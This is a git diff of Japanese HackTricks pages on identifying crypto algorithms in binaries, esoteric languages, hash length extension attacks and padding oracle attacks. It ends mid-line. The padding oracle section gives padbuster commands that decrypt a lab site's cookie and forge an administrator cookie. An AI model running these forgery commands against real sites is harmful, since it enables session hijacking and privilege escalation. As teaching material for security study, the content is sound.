-![](<../../.gitbook/assets/image (379).png>) +![](<../../.gitbook/assets/image (904).png>) ## **AES(対称暗号)** ### **特徴** * **置換ボックスとルックアップテーブルの使用** -* 特定のルックアップテーブル値(定数)の使用により、AES を**識別**することが可能です。_**定数**は**バイナリに格納**されるか、_**動的に作成**されることがあります。_ -* **暗号化キー**は**16 で割り切れる**必要があります(通常 32B)、通常 16B の IV が使用されます。 +* 特定のルックアップテーブル値(定数)の使用により、**AES を区別** することが可能です。_**定数** はバイナリに **保存** されるか、_**動的に作成**_ される可能性があります。 +* **暗号化キー** は **16 で割り切れる** 必要があります(通常は 32B)、通常は 16B の IV が使用されます。 ### SBox 定数 -![](<../../.gitbook/assets/image (380).png>) +![](<../../.gitbook/assets/image (208).png>) ## Serpent **(対称暗号)** ### 特徴 -* それを使用するマルウェアを見つけるのは珍しいですが、例があります(Ursnif) -* 非常に長い関数に基づいてアルゴリズムが Serpent かどうかを簡単に判断できます。 +* 使用例は少ないですが、マルウェアが使用している例もあります(Ursnif) +* 非常に長い関数に基づいて、アルゴリズムが Serpent であるかどうかを簡単に判断できます。 -### 特定 +### 特定方法 -次の画像で、定数 **0x9E3779B9** が使用されていることに注意してください(この定数は **TEA** -Tiny Encryption Algorithm などの他の暗号アルゴリズムでも使用されています)。\ -また、**ループのサイズ**(**132**)、**XOR 演算の数**(**逆アセンブリの命令**および**コード**の例で)に注目してください: +次の画像で、定数 **0x9E3779B9** が使用されていることに注目してください(この定数は **TEA** -Tiny Encryption Algorithm などの他の暗号アルゴリズムでも使用されていることに注意してください)。\ +また、**ループのサイズ**(**132**)、**逆アセンブリ** 命令および **コード** の例での **XOR 演算の数** に注目してください: -![](<../../.gitbook/assets/image (381).png>) +![](<../../.gitbook/assets/image (547).png>) -前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化でき、その中に**ジャンプがない**ためです。逆コンパイルされたコードは次のように見える可能性があります: +前述のように、このコードは **非常に長い関数** として任意のデコンパイラ内で視覚化できます。この長い関数の逆コンパイルされたコードは次のように見えるかもしれません: -![](<../../.gitbook/assets/image (382).png>) +![](<../../.gitbook/assets/image (513).png>) -したがって、このアルゴリズムを特定するには、**マジックナンバー**と**初期 XOR**をチェックし、**非常に長い関数**を見て、いくつかの**命令**を**実装**と比較することが可能です(たとえば、左に 7 ビットシフトおよび左に 22 ビット回転)。 - -## RSA **(非対称暗号)** +したがって、**マジックナンバー** と **初期 XOR** をチェックし、**非常に長い関数** を見て、いくつかの **命令** を **実装** と比較することで、このアルゴリズムを特定することが可能です。 +## RSA **(非対称暗号)** ### 特徴 -* 対称アルゴリズムよりも複雑 -* 定数はありません!(カスタム実装は特定が難しい) -* KANAL(暗号解析ツール)は RSA についてのヒントを表示できず、定数に依存しています。 +* 対称アルゴリズムより複雑 +* 定数が存在しない!(カスタム実装は難しい) +* KANAL(暗号解析ツール)はRSAにヒントを示さず、定数に依存しているため失敗する。 -### 比較による特定 +### 比較による識別 -![](<../../.gitbook/assets/image (383).png>) +![](<../../.gitbook/assets/image (1113).png>) -* 左側の 11 行目には `+7) >> 3` があり、右側の 35 行目には `+7) / 8` があります -* 左側の 12 行目は `modulus_len < 0x040` をチェックしており、右側の 36 行目は `inputLen+11 > modulusLen` をチェックしています +* 11行目(左)には `+7) >> 3` があり、35行目(右)にも `+7) / 8` がある +* 12行目(左)は `modulus_len < 0x040` をチェックしており、36行目(右)は `inputLen+11 > modulusLen` をチェックしている ## MD5 & SHA(ハッシュ) ### 特徴 -* 初期化、更新、最終の 3 つの関数 -* 似た初期化関数 +* 初期化、更新、最終の3つの関数 +* 似たような初期化関数 -### 特定 +### 識別 -**Init** +**初期化** -両方を特定するには、定数をチェックしてください。sha\_init には MD5 にはない 1 つの定数があることに注意してください: +両方を識別するには定数をチェックできます。MD5にはない1つの定数が sha\_init にあることに注意してください: -![](<../../.gitbook/assets/image (385).png>) +![](<../../.gitbook/assets/image (406).png>) -**MD5 変換** +**MD5変換** より多くの定数の使用に注意してください -![](<../../.gitbook/assets/image (253) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (253) (1) (1).png>) ## CRC(ハッシュ) -* データの偶発的な変更を見つけるための機能として、より小さく、効率的です -* ルックアップテーブルを使用します(定数を特定できます) +* データの偶発的な変更を見つけるための関数として、より小さく効率的 +* ルックアップテーブルを使用する(定数を識別できる) -### 特定 +### 識別 -**ルックアップテーブルの定数**をチェックしてください: +**ルックアップテーブルの定数**をチェック: -![](<../../.gitbook/assets/image (387).png>) +![](<../../.gitbook/assets/image (508).png>) -CRC ハッシュアルゴリズムは次のようになります: +CRCハッシュアルゴリズムは次のように見えます: -![](<../../.gitbook/assets/image (386).png>) +![](<../../.gitbook/assets/image (391).png>) ## APLib(圧縮) ### 特徴 -* 識別可能な定数はありません -* Python でアルゴリズムを書いて、オンラインで類似したものを検索できます +* 識別できない定数 +* Pythonでアルゴリズムを書いて類似したものをオンラインで検索できます -### 特定 +### 識別 グラフはかなり大きいです: ![](<../../.gitbook/assets/image (207) (2) (1).png>) -認識するために**3 つの比較**をチェックしてください: +**それを認識するための3つの比較**をチェック: -![](<../../.gitbook/assets/image (384).png>) - -
- -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) - -HackTricks をサポートする他の方法: - -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - -
+![](<../../.gitbook/assets/image (430).png>) diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md index 20323ff0f..d7f5c0445 100644 --- a/crypto-and-stego/esoteric-languages.md +++ b/crypto-and-stego/esoteric-languages.md @@ -2,19 +2,19 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page) -そのウィキをチェックして、さらにエソテリック言語を検索してください +エソテリック言語をさらに検索するためにそのウィキをチェックしてください ## Malbolge ``` @@ -25,7 +25,7 @@ ## npiet -![](<../.gitbook/assets/image (146).png>) +![](<../.gitbook/assets/image (691).png>) [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) @@ -62,7 +62,7 @@ Whisper my world ## PETOOH -ペトゥー +ペトゥー (PETOOH) は、スタックベースのエスパランとして知られるプログラミング言語です。 ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -74,12 +74,12 @@ Kukarek ```
-htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 9d07fb7d2..bbb5e1145 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -1,20 +1,22 @@ +# ハッシュ長延長攻撃 +
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
-### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 @@ -24,44 +26,44 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン {% embed url="https://whiteintel.io" %} ---- +*** -# 攻撃の概要 +## 攻撃の概要 -あるサーバーが、ある既知のクリアテキストデータに**秘密**を**追加**してそのデータに署名していると想像してください。以下を知っている場合: +あるサーバーが、ある既知のクリアテキストデータに**秘密**を**追加**してそのデータをハッシュ化していると想像してください。以下を知っている場合: -* **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) -* **クリアテキストデータ** -* **アルゴリズム(およびこの攻撃に対して脆弱である)** -* **パディングが既知である** -* 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます -* パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です +- **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) +- **クリアテキストデータ** +- **アルゴリズム(およびこの攻撃に対して脆弱である)** +- **パディングが既知である** +- 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます +- パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です -その後、**攻撃者**は**データ**を**追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。 +その後、**攻撃者**は**データを追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。 -## 方法 +### 方法 -基本的に、脆弱なアルゴリズムは、まず**データのブロックをハッシュ**し、その後、**以前に**作成された**ハッシュ**(状態)から、**次のデータのブロックを追加**して**ハッシュ**します。 +基本的に、脆弱なアルゴリズムは、まず**データブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から、**次のデータブロックを追加**して**ハッシュ化**します。 -次に、秘密が「secret」でデータが「data」であると想像してください。「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +次に、秘密が「secret」でデータが「data」であると想像してください。"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ 攻撃者が文字列「append」を追加したい場合は: -* 64個の「A」のMD5を生成する -* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する -* 文字列「append」を追加する -* ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります +- 64個の「A」のMD5を生成する +- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する +- 文字列「append」を追加する +- ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります -## **ツール** +### **ツール** {% embed url="https://github.com/iagox86/hash_extender" %} -## 参考文献 +### 参考文献 -この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています +この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。 -### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 @@ -73,14 +75,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md index 46d6ee5cc..cdbfc735d 100644 --- a/crypto-and-stego/padding-oracle-priv.md +++ b/crypto-and-stego/padding-oracle-priv.md @@ -1,37 +1,37 @@ -# Padding Oracle +# パディングオラクル
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
## CBC - Cipher Block Chaining -CBCモードでは、**前の暗号化されたブロックが次のブロックとXOR演算**するためにIVとして使用されます: +CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます: -![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) +![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) -CBCを復号するには、**逆の操作**が行われます: +CBCを復号するには、**逆の操作**が行われます: -![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) +![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) -**暗号化キー**と**IV**を使用する必要があることに注意してください。 +暗号化には**暗号化キー**と**IV**が必要です。 ## メッセージパディング 暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロックを完了するためにパディングが必要**です。\ -通常は**PKCS7**が使用され、パディングはブロックを完了するために**必要なバイト数を繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 +通常は**PKCS7**が使用され、パディングはブロックを**完了するために必要なバイト数を繰り返す**ように生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 -**長さ8バイトの2つのブロック**を持つさらなる例を見てみましょう: +**長さ8バイトの2ブロック**のさらなる例を見てみましょう: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -40,50 +40,42 @@ CBCを復号するには、**逆の操作**が行われます: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -最後の例では、**最後のブロックが完全だったため、パディングのみで別のブロックが生成**されたことに注意してください。 +最後の例では、**最後のブロックが完全だったため、別のブロックがパディングのみで生成**されたことに注意してください。 ## パディングオラクル -アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作をトリガー**した場合、**パディングオラクルの脆弱性**があります。検出可能な動作は**エラー**、**結果の欠如**、または**応答の遅延**などが考えられます。 +アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**と、**パディングオラクルの脆弱性**が発生します。検出可能な動作には、**エラー**、**結果の欠如**、または**応答の遅延**が含まれる可能性があります。 -この動作を検出した場合、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。 +この動作を検出した場合、**暗号化されたデータを復号化**し、さらに**任意のクリアテキストを暗号化**することができます。 ### 悪用方法 -この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います。 - +この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います ``` sudo apt-get install padbuster ``` - -サイトのクッキーが脆弱かどうかをテストするためには、次のような方法があります: - +サイトのクッキーが脆弱かどうかをテストするためには、次のように試すことができます: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがありますが、ヘルプメニューを確認してください)。 -**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。 - -この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**\_**user=MyUsername**\_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext\*\*パラメータを指定して行うこともできます。 - +この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**_**user=MyUsername**_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext**パラメータを指定して行うこともできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するときを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 - +もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` - ### 理論 -**要約すると**、異なるパディングを作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初に向かってバイトを復号化し始めます。 +**要約すると**、異なる**パディング**を作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初にバイトを復号化し始めます。 -![](<../.gitbook/assets/image (629) (1) (1).png>) +![](<../.gitbook/assets/image (561).png>) -暗号化されたテキストが**E0からE15**までのバイトで形成される**2つのブロック**を占めていると想像してください。\ -**最後のブロック**(**E8**から**E15**)を**復号化**するために、ブロック全体が「ブロック暗号の復号化」を通過し、**中間バイトI0からI15**が生成されます。\ +**E0からE15**までのバイトで形成される**2つのブロック**を占める暗号化されたテキストがあると想像してください。\ +**最後のブロック**(**E8**から**E15**)を**復号化**するために、ブロック暗号の復号化を通過すると、**中間バイトI0からI15**が生成されます。\ 最後に、各中間バイトは前の暗号化されたバイト(E0からE7)と**XOR**されます。つまり: * `C15 = D(E15) ^ E7 = I15 ^ E7` @@ -98,22 +90,22 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon これにより、**C15を計算**することが可能になります:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -**C15**を知っていると、**C14を計算**することができますが、この時はパディング`\x02\x02`をブルートフォースします。 +**C15**を知っているので、**C14を計算**することが可能になりますが、この時はパディング`\x02\x02`をブルートフォースします。 -このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるためです:`E''7 = \x02 ^ I15`なので、**`C14が0x02に等しい`**`E'14`を見つけるだけです。\ -その後、同じ手順を実行してC14を復号化します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるので、`E''7 = \x02 ^ I15`を見つけるだけで、**`C14が0x02に等しい`**`E'14`を見つける必要があります。\ +その後、C14を復号化するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** **このチェーンに従って、暗号化されたテキスト全体を復号化します。** ### 脆弱性の検出 -アカウントを登録し、このアカウントでログインします。\ -**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効であり、**無効にする方法はない**でしょう。 +このアカウントで登録してログインします。\ +**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効で**無効にする方法はない**でしょう。 次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\ -ただし、パディングをBFすると(たとえばpadbusterを使用)、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに対して非常に脆弱性がある可能性が高いです。 +ただし、パディングをBFすると(たとえばpadbusterを使用)、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに非常に脆弱性がある可能性が高いです。 -## 参考文献 +### 参考文献 * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) @@ -124,9 +116,9 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* 